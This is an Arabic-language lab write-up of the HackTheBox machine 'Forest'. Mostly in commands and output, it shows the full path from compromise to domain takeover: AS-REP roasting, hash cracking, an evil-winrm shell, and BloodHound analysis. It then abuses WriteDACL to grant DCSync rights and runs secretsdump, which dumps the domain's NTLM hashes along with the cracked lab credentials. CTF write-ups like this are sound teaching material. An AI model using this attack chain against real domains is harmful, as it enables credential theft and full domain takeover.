Forest - بالعربي
حل forest بالعربي
Recon
1- تبدأ الاول بعمل Scan على الماشين ب nmap عشان تشوف ال Open Ports الموجودة و ال services/الخدمات و شو منهم فيه ثغرة/vulnerable فتستغله و طبعا بدون عمل استطلاع/recon او enumeration ما ممكن تبدأ اي عملية Pentesting او Hacking
nmap -sV -sC -p- <IP>2- متل مالنا شايفين هون, هنا شوية شغلات مثيرة للاهتمام متل ال kerberos, ldap, msrpc, smb
SMB
رح استخدم اداتين smbclient & smbmap
smbmap -H 10.10.10.161[+] IP: 10.10.10.161:445 Name: FOREST.htb.localsmbclient -L 10.10.10.161Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup availableضفت الدومين لل
/etc/hosts
بس ما كان جدا مفيد, يعني ممكن يستخدم بال DNS Enum بس ما مفيد زيادة, جربت كمان استخدم ال scripts تبعيت nmap و بلا نتيجة.
لسا ماخلصنا كلشي, فخلينا نكمل
MSRPC
rpcclient -U "" -N 10.10.10.161هلق رح يطلعلك
rpcclient $>هلق فينا نبدأ نعمل enumeration
enumdomusersuser:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]ضفت النتائج لملف, و استخدمت هاد الامر لأخد الاسماء بس
awk '{print $1}' rpc_users.txt | egrep -o '\[.*.\]' | sed -e 's/\[//g; s/\]//g'Administrator
Guest
krbtgt
DefaultAccount
$331000-VK4ADACQNUCA
SM_2c8eef0a09b545acb
SM_ca8c2ed5bdab4dc9b
SM_75a538d3025e4db9a
SM_681f53d4942840e18
SM_1b41c9286325456bb
SM_9b69f1b9d2cc45549
SM_7c96b981967141ebb
SM_c75ee099d0a64c91b
SM_1ffab36a2f5f479cb
HealthMailboxc3d7722
HealthMailboxfc9daad
HealthMailboxc0a90c9
HealthMailbox670628e
HealthMailbox968e74d
HealthMailbox6ded678
HealthMailbox83d6781
HealthMailboxfd87238
HealthMailboxb01ac64
HealthMailbox7108a4e
HealthMailbox0659cc1
sebastien
lucinda
svc-alfresco
andy
mark
santiبعدها مسحت اي اسم ببدأ ب SM او HealthMailbox, فبتكون النتيجة كلاتي:
Administrator
Guest
krbtgt
sebastien
lucinda
svc-alfresco
andy
mark
santiبعد ما اخدت المستخدمين بدأ باني اجمع بيانات اكتر
enumprivs #Enumerate privilegesSeCreateTokenPrivilege 0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege 0:3 (0x0:0x3)
SeLockMemoryPrivilege 0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege 0:5 (0x0:0x5)
SeMachineAccountPrivilege 0:6 (0x0:0x6)
SeTcbPrivilege 0:7 (0x0:0x7)
SeSecurityPrivilege 0:8 (0x0:0x8)
SeTakeOwnershipPrivilege 0:9 (0x0:0x9)
SeLoadDriverPrivilege 0:10 (0x0:0xa)
SeSystemProfilePrivilege 0:11 (0x0:0xb)
SeSystemtimePrivilege 0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege 0:14 (0x0:0xe)
SeCreatePagefilePrivilege 0:15 (0x0:0xf)
SeCreatePermanentPrivilege 0:16 (0x0:0x10)
SeBackupPrivilege 0:17 (0x0:0x11)
SeRestorePrivilege 0:18 (0x0:0x12)
SeShutdownPrivilege 0:19 (0x0:0x13)
SeDebugPrivilege 0:20 (0x0:0x14)
SeAuditPrivilege 0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege 0:22 (0x0:0x16)
SeChangeNotifyPrivilege 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege 0:24 (0x0:0x18)
SeUndockPrivilege 0:25 (0x0:0x19)
SeSyncAgentPrivilege 0:26 (0x0:0x1a)
SeEnableDelegationPrivilege 0:27 (0x0:0x1b)
SeManageVolumePrivilege 0:28 (0x0:0x1c)
SeImpersonatePrivilege 0:29 (0x0:0x1d)
SeCreateGlobalPrivilege 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege 0:31 (0x0:0x1f)
SeRelabelPrivilege 0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege 0:33 (0x0:0x21)
SeTimeZonePrivilege 0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege 0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege 0:36 (0x0:0x24)enumdomgroups #Enumerate domain groupsgroup:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]enumdomains # Enumerate domainsname:[HTB] idx:[0x0]
name:[Builtin] idx:[0x0]dsenumdomtrusts # Enumerate all trusted domains in an AD forest1 domains returned
htb.local (HTB)فعليا كل الي عم سويه هو جمع معلومات, كرمال افهم اكتر عن الهدف ما رح اشرح كلشي طلع لانو 1- كمية بيانات كتير, صعب شرحها 2- اعتقد انها واضحة لدرجة ما
نبدأ مع ال LDAP
LDAP
nmap -n -sV --script "ldap* and not brute" 10.10.10.161رح تحصل بيانات كتير, فصعب احطها هون بس انت اعمل ال enum و العب معها شوي, الامر ممتع :)
AS-REP Roasting
صار لازم نصعد اللعبة شوي و نحاول ناخد access على الماشين, ف رح استخدم تكنيك اسمه AS-REP Roasting و فكرته عن المستخدمين الي ما بحتاجو شغلة اسمها Pre-Authentication, طبعا الموضوع اعمق من هيك حبة و رح اشرحه ان شاء الله بمقال لحاله
استخدمت المستخدمين الي طلعناهم من قبل و اداة GetNPUsers
impacket-GetNPUsers -format hashcat -usersfile users.txt -no-pass -k -dc-ip 10.10.10.161 HTB.LOCAL/و هيك طلعنا بال hash تبع المستخدم svc-alfresco
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:5fc55218d956123aa894674806657af5$24c44c1eead97538ba16fa0b68f0ded32da012141d01f123eff53709886c6c2b1bca60c097dad0ab2b892678f53af135a934c1a2ff9d6508ad35f165474727eb774ccdf81720c2bb948a561ae616408db454a0c83008f8665b4b75a0bf73205545821e1a5b366c49c1ff569b1ba7db7db791be317bc0a47c8b7b4a394109f4870c0f1463e9392cc369ff70aa0529d3382ca2b14eb84dad313d0eb2693c089761a6ca4e97b7449faf550af823c33a8bf2d4ecba4e1c9dc78010d82fd963699b613fd539ce96303390c9360646f877a160d1d0c311ea3d497878a4861f797a9030f4b779455da0
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH setهلق منكسرو او منعملو crack بأداة متل hashcat
hashcat -m 18200 svc-alfresco_hash.txt rockyou.txt -d 1 # -d 1 to select my GPUكلمة السر s3rvice
$krb5asrep$23$svc-alfresco@HTB.LOCAL:5fc55218d956123aa894674806657af5$24c44c1eead97538ba16fa0b68f0ded32da012141d01f123eff53709886c6c2b1bca60c097dad0ab2b892678f53af135a934c1a2ff9d6508ad35f165474727eb774ccdf81720c2bb948a561ae616408db454a0c83008f8665b4b75a0bf73205545821e1a5
b366c49c1ff569b1ba7db7db791be317bc0a47c8b7b4a394109f4870c0f1463e9392cc369ff70aa0529d3382ca2b14eb84dad313d0eb2693c089761a6ca4e97b7449faf550af823c33a8bf2d4ecba4e1c9dc78010d82fd963699b613fd539ce96303390c9360646f877a160d1d0c311ea3d497878a4861f797a9030f4b779455da0:s3rviceCREDS: svc-alfresco:s3rvice
حاليا حصلنا الهاش, عملناله كراك, و حصلنا كلمة السر
هلق رح نرجع نعيد ال enum مع اسم المستخدم و كلمة السر الي حصلناهم بأداة crackmapexec
crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' /forest.htb.localWINRM 10.10.10.161 5985 FOREST [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
WINRM 10.10.10.161 5985 FOREST [*] http://10.10.10.161:5985/wsman
WINRM 10.10.10.161 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)هاد بعني ان ممكن ندخل بالبيانات المعنا على الماشين, بس ما رح ندخل هلق قبلها enum اكتر
SMB with svc-alfresco account
smbmap -H 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'[+] IP: 10.10.10.161:445 Name: FOREST.htb.local
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share smbclient -L 10.10.10.161 -U 'svc-alfresco'Enter WORKGROUP\svc-alfresco's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share ما في شي مثير للاهتمام هون, انا تفقدتمهم كلهم مافي شي مهم, فنروح ل winrm
Get Access
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>Post-Exploitation
طبعا انت لحالك روح و جيب ال user.txt انا رح حمل ال powerview.ps1 و اعمل enum للماشين
A lot of enum, A lot of info.
PowerView.ps1
upload powerview.ps1 # if you don't have powerview in the same file, just put the tool's path. .\powerview.ps1 # import the modulesرح نعمل شوية enum و بعدها رح استخدم ادوات اوتوماتيكية اكتر
Get-NetDomainForest : htb.local
DomainControllers : {FOREST.htb.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : FOREST.htb.local
RidRoleOwner : FOREST.htb.local
InfrastructureRoleOwner : FOREST.htb.local
Name : htb.localGet-DomainSIDS-1-5-21-3072663084-364016917-1341370565Get-DomainPolicyUnicode : @{Unicode=yes}
SystemAccess : @{MinimumPasswordAge=1; MaximumPasswordAge=42; LockoutBadCount=0; PasswordComplexity=0; RequireLogonToChangePassword=0; LSAAnonymousNameLookup=0; ForceLogoffWhenHourExpire=0; PasswordHistorySize=24; ClearTextPassword=0;
MinimumPasswordLength=7}
RegistryValues : @{MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=System.String[]}
KerberosPolicy : @{MaxTicketAge=10; MaxServiceAge=600; MaxClockSkew=5; MaxRenewAge=7; TicketValidateClient=1}
Version : @{Revision=1; signature="$CHICAGO$"}Get-NetDomainControllerForest : htb.local
CurrentTime : 5/8/2021 8:29:17 PM
HighestCommittedUsn : 469291
OSVersion : Windows Server 2016 Standard
Roles : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain : htb.local
IPAddress : ::1
SiteName : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections : {}
OutboundConnections : {}
Name : FOREST.htb.local
Partitions : {DC=htb,DC=local, CN=Configuration,DC=htb,DC=local, CN=Schema,CN=Configuration,DC=htb,DC=local, DC=DomainDnsZones,DC=htb,DC=local...}Get-NetUser | select cncn
--
Administrator
Guest
DefaultAccount
krbtgt
Exchange Online-ApplicationAccount
SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}
SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}
DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852}
Migration.8f3e7716-2011-43e4-96b1-aba62d229136
FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042
SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}
SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}
SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}
HealthMailboxc3d7722415ad41a5b19e3e00e165edbe
HealthMailboxfc9daad117b84fe08b081886bd8a5a50
HealthMailboxc0a90c97d4994429b15003d6a518f3f5
HealthMailbox670628ec4dd64321acfdf6e67db3a2d8
HealthMailbox968e74dd3edb414cb4018376e7dd95ba
HealthMailbox6ded67848a234577a1756e072081d01f
HealthMailbox83d6781be36b4bbf8893b03c2ee379ab
HealthMailboxfd87238e536e49e08738480d300e3772
HealthMailboxb01ac647a64648d2a5fa21df27058a24
HealthMailbox7108a4e350f84b32a7a90d8e718f78cf
HealthMailbox0659cc188f4c4f9f978f6c2142c4181e
Sebastien Caron
Lucinda Berger
svc-alfresco
Andy Hislip
Mark Brandt
Santi RodriguezGet-UserProperty -Properties badpwdcountname badpwdcount
---- -----------
Administrator 0
Guest 0
DefaultAccount 0
krbtgt 0
Exchange Online-ApplicationAccount 0
SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1} 0
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c} 0
SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9} 0
DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852} 0
Migration.8f3e7716-2011-43e4-96b1-aba62d229136 0
FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042 0
SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201} 0
SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA} 0
SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} 0
HealthMailboxc3d7722415ad41a5b19e3e00e165edbe 0
HealthMailboxfc9daad117b84fe08b081886bd8a5a50 0
HealthMailboxc0a90c97d4994429b15003d6a518f3f5 0
HealthMailbox670628ec4dd64321acfdf6e67db3a2d8 0
HealthMailbox968e74dd3edb414cb4018376e7dd95ba 0
HealthMailbox6ded67848a234577a1756e072081d01f 0
HealthMailbox83d6781be36b4bbf8893b03c2ee379ab 0
HealthMailboxfd87238e536e49e08738480d300e3772 0
HealthMailboxb01ac647a64648d2a5fa21df27058a24 0
HealthMailbox7108a4e350f84b32a7a90d8e718f78cf 0
HealthMailbox0659cc188f4c4f9f978f6c2142c4181e 0
Sebastien Caron 0
Lucinda Berger 0
svc-alfresco 0
Andy Hislip 0
Mark Brandt 0
Santi Rodriguez 0Get-UserProperty -Properties pwdlastsetname pwdlastset
---- ----------
Administrator 9/18/2019 10:09:08 AM
Guest 12/31/1600 4:00:00 PM
DefaultAccount 12/31/1600 4:00:00 PM
krbtgt 9/18/2019 3:53:23 AM
Exchange Online-ApplicationAccount 12/31/1600 4:00:00 PM
SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1} 12/31/1600 4:00:00 PM
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c} 12/31/1600 4:00:00 PM
SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9} 12/31/1600 4:00:00 PM
DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852} 12/31/1600 4:00:00 PM
Migration.8f3e7716-2011-43e4-96b1-aba62d229136 12/31/1600 4:00:00 PM
FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042 12/31/1600 4:00:00 PM
SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201} 12/31/1600 4:00:00 PM
SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA} 12/31/1600 4:00:00 PM
SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} 12/31/1600 4:00:00 PM
HealthMailboxc3d7722415ad41a5b19e3e00e165edbe 9/23/2019 3:51:31 PM
HealthMailboxfc9daad117b84fe08b081886bd8a5a50 9/23/2019 3:51:35 PM
HealthMailboxc0a90c97d4994429b15003d6a518f3f5 9/19/2019 4:56:35 AM
HealthMailbox670628ec4dd64321acfdf6e67db3a2d8 9/19/2019 4:56:45 AM
HealthMailbox968e74dd3edb414cb4018376e7dd95ba 9/19/2019 4:56:56 AM
HealthMailbox6ded67848a234577a1756e072081d01f 9/19/2019 4:57:06 AM
HealthMailbox83d6781be36b4bbf8893b03c2ee379ab 9/19/2019 4:57:17 AM
HealthMailboxfd87238e536e49e08738480d300e3772 9/19/2019 4:57:27 AM
HealthMailboxb01ac647a64648d2a5fa21df27058a24 9/19/2019 4:57:37 AM
HealthMailbox7108a4e350f84b32a7a90d8e718f78cf 9/19/2019 4:57:48 AM
HealthMailbox0659cc188f4c4f9f978f6c2142c4181e 9/19/2019 4:57:58 AM
Sebastien Caron 9/19/2019 5:29:59 PM
Lucinda Berger 9/19/2019 5:44:13 PM
svc-alfresco 5/8/2021 1:49:05 PM
Andy Hislip 9/22/2019 3:44:16 PM
Mark Brandt 9/20/2019 3:57:30 PM
Santi Rodriguez 9/20/2019 4:02:55 PMGet-UserProperty -Properties logoncountname logoncount
---- ----------
Administrator 49
Guest 0
DefaultAccount 0
krbtgt 0
Exchange Online-ApplicationAccount 0
SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1} 0
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c} 0
SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9} 0
DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852} 0
Migration.8f3e7716-2011-43e4-96b1-aba62d229136 0
FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042 0
SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201} 0
SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA} 0
SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} 0
HealthMailboxc3d7722415ad41a5b19e3e00e165edbe 1470
HealthMailboxfc9daad117b84fe08b081886bd8a5a50 59
HealthMailboxc0a90c97d4994429b15003d6a518f3f5 0
HealthMailbox670628ec4dd64321acfdf6e67db3a2d8 0
HealthMailbox968e74dd3edb414cb4018376e7dd95ba 0
HealthMailbox6ded67848a234577a1756e072081d01f 0
HealthMailbox83d6781be36b4bbf8893b03c2ee379ab 0
HealthMailboxfd87238e536e49e08738480d300e3772 0
HealthMailboxb01ac647a64648d2a5fa21df27058a24 0
HealthMailbox7108a4e350f84b32a7a90d8e718f78cf 0
HealthMailbox0659cc188f4c4f9f978f6c2142c4181e 0
Sebastien Caron 8
Lucinda Berger 0
svc-alfresco 6
Andy Hislip 0
Mark Brandt 0
Santi Rodriguez 0Get-NetComputer # you can use '-FullData' and get so much more info, or use 'select' withit to get what you wantFOREST.htb.local
EXCH01.htb.localGet-NetGroupAdministrators
Users
Guests
Print Operators
Backup Operators
Replicator
Remote Desktop Users
Network Configuration Operators
Performance Monitor Users
Performance Log Users
Distributed COM Users
IIS_IUSRS
Cryptographic Operators
Event Log Readers
Certificate Service DCOM Access
RDS Remote Access Servers
RDS Endpoint Servers
RDS Management Servers
Hyper-V Administrators
Access Control Assistance Operators
Remote Management Users
System Managed Accounts Group
Storage Replica Administrators
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins
Domain Users
Domain Guests
Group Policy Creator Owners
RAS and IAS Servers
Server Operators
Account Operators
Pre-Windows 2000 Compatible Access
Incoming Forest Trust Builders
Windows Authorization Access Group
Terminal Server License Servers
Allowed RODC Password Replication Group
Denied RODC Password Replication Group
Read-only Domain Controllers
Enterprise Read-only Domain Controllers
Cloneable Domain Controllers
Protected Users
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Organization Management
Recipient Management
View-Only Organization Management
Public Folder Management
UM Management
Help Desk
Records Management
Discovery Management
Server Management
Delegated Setup
Hygiene Management
Compliance Management
Security Reader
Security Administrator
Exchange Servers
Exchange Trusted Subsystem
Managed Availability Servers
Exchange Windows Permissions
ExchangeLegacyInterop
$D31000-NSEL5BRJ63V7
Service Accounts
Privileged IT Accounts
testفي كتير طرق تانية لسا و اوامر تانية ممكن نستخدمها نجمع معلومات بس هاد رح يطول الموضوع جدا, ف رح ابدأ مع SharpHound.ps1
PrivEsc
upload SharpHound.ps1
. .\SharpHound.ps1Invoke-Bloodhound -CollectionMethod All -Domain htb.local -LDAPUser svc-alfresco -LDAPPass s3rviceMode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/8/2021 2:02 PM 15384 20210508140254_BloodHound.zipdownload 20210508140254_BloodHound.zipحمل الملف هاد ل bloodhound بعدها روح ل analysis بعدها اضغط على Find Shortest Paths to Domain Admins و رح تصير بهاد الشكل
انا الصراحة تركت كلشي و رحت ورا EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL و السبب ان لفت نظري و لمحتها بعدة اماكن تانية. تاني شغلة لفتت انتباهي هي ال writeDACL, لفتت انتباهي لأمرين: 1- انا متأكد اني قرأت عنها من قبل 2- مامتذكر او مابعرف شو هي فالموضوع مثير للفضول اعرف شو هي عملت بحثي و اول شي طلع ب وشي:
بعد ما درست الموضوع رجعت احلل تاني و هون رحت اول شغلة سويتها اني حددت المستخدم تبعنا ك owned 2- اضغط عليه 3- رح تطلعلك لائحة اضغط على ال node info 4- اضغط على Reachable High Value Targets هلق الموضوع الطف (ما تسأل ليش, اقتنع انه الطف و بس)
طيب انت شو شايف هون؟ ماتهتم انا رح قلك المستخدم تبعنا svc-alfresco عضو بجروب Service Accounts و الي بدوره عضو ب Privileged IT Accounts Group و الي بدوره عضو ب Account Operators Group و الي بدوره Exchange Windows Permissions و ال Exchange Windows Permissions Group عنده الأذونات الي اسمها WriteDACL (مافهمت؟ بسيطة! اقرأ تاني) هاد كله بعني ان by default المفروض المستخدم تبعنا او المستخدم الي رح يكون بهاد الجروب عنده الأذونات ليفير على ال domain نفسه
انا جربت مجموعة من الادوات عشان استغلها و مانفع, بس الي لاحظته ان الاستغلال بمشي كلاتي: 1- انشئ مستخدم 2- ضيف المستخدم ل Exchange Windows Permissions Group 3- اعمل import لل PowerView.ps1 4- استخدم ال Add-DomainObjectAcl Function 5- استخدم secretsdump مع المستخدم الجديد عشان تطلع ال hashes تبعيت المستخدمين التانيين
الاوامر:
net user mhzcyber PlzhackIT /add /domain
net group "Exchange Windows Permissions" /add mhzcyber$SecPassword = ConvertTo-SecureString 'PlzhackIT' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\mhzcyber', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity mhzcyber -Rights DCSync # this will need you to use PowerView.ps1طيب, كيف عرفت انا استغلها؟ في ناس شارحة + ان لو ضغطت كليك يمين على الخط تبع ال WriteDACL جوا اداة BloodHound رح تلاقي Help? بعدها اضغط Abuse info و رح تلاقي شرح.
WriteDACL -> ? Help -> Abuse Info.
impacket-secretsdump htb.local/mhzcyber:PlzhackIT@10.10.10.161Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
